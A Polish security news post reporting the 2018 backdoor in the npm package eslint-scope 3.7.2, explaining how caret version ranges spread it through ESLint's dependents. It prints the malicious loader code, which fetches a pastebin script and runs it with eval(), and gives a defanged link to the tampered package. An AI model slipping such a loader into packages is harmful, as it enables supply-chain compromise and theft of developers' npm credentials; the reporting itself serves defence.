-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Używałeś npm-a w ostatnim czasie – możesz mieć już zbackdoorowany kod!

12 lipca 2018, 18:16 | W biegu | 0 komentarzy
Tagi: , ,

Właśnie wykryto backdoora w jednym z pakietów dostępnych w npm (ESLint-scope – 2 500 000 pobrań w ostatnim tygodniu). Atak odbył się najprawdopodobniej przez wykradzenie danych dostępowych dewelopera i upload złośliwego kodu. Co nas może obchodzić backdoor w jakimś „niszowym” pakiecie? Odpowiedź: zależności npm.

Pakiet włącza choćby ESLint (~3 300 00 pobrań tygodniowo), którego z kolei jako zależność dołącza jakieś 5 800 innych pakietów z npm.

Niepodatna wersja to 3.7.1, zbackdoorowana 3.7.2 Co dalej? Otóż często w innych pakietach można spotkać zdefiniowane zależności typu: ^3.7.1 (czyli jeśli pokaże się nowa wersja ESLint-scope – automatycznie dołącz zależność). Ale uwaga – nowa wersja musi być typu 3.x.x (nie 4.x.x) – tak działa operator ^

Ma to sens – jeśli pokaże się jakaś niewielka aktualizacja w zależności, to pewnie nic złego się nie stanie z moim pakietem, jeśli ją zainstaluję (automatycznie). Ale już aktualizacji do grubszej wersji nie chcę robić automatycznie.

Kod backdoora macie tutaj (uwaga – specjalnie nie linkujemy tego aktywnie) hxxxs://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2.tgz

Warto też zaznaczyć, że zmodyfikowany kod posiadał pewnego buga i to właśnie dzięki niemu udało się namierzyć złośliwe działania:

Surprisingly, the tampered code only contained a bootstrap script that downloaded and executed the main script (with eval) from pastebin and the pastebin script had a syntax error in it so that’s how it revealed itself.

Co gorsza, kod po prostu robił eval() na zawartości ściąganej z pastebina, co już na pierwszy rzut oka wygląda ostro niebezpiecznie i sam npm *powinien* takie „wałki” wykrywać sam:

All of what happened is something to think about, why didn’t npm spot the calls to eval and reject the update. I know many packers use eval as well but come on, it’s not 1999 again and there are simple measures and protocols that can be implemented in order to strengthen the security of npm ecosystem.

Fragment kodu:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

Celem kodu było wykradzenie danych dostępowych do npm innych użytkowników i (zapewne) dalsza infekcja i … tak w kółko.

Pakiet ESLint-scope w wersji 3.7.2 został *odpublikowany* a sytuacja jest rozwojowa.

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz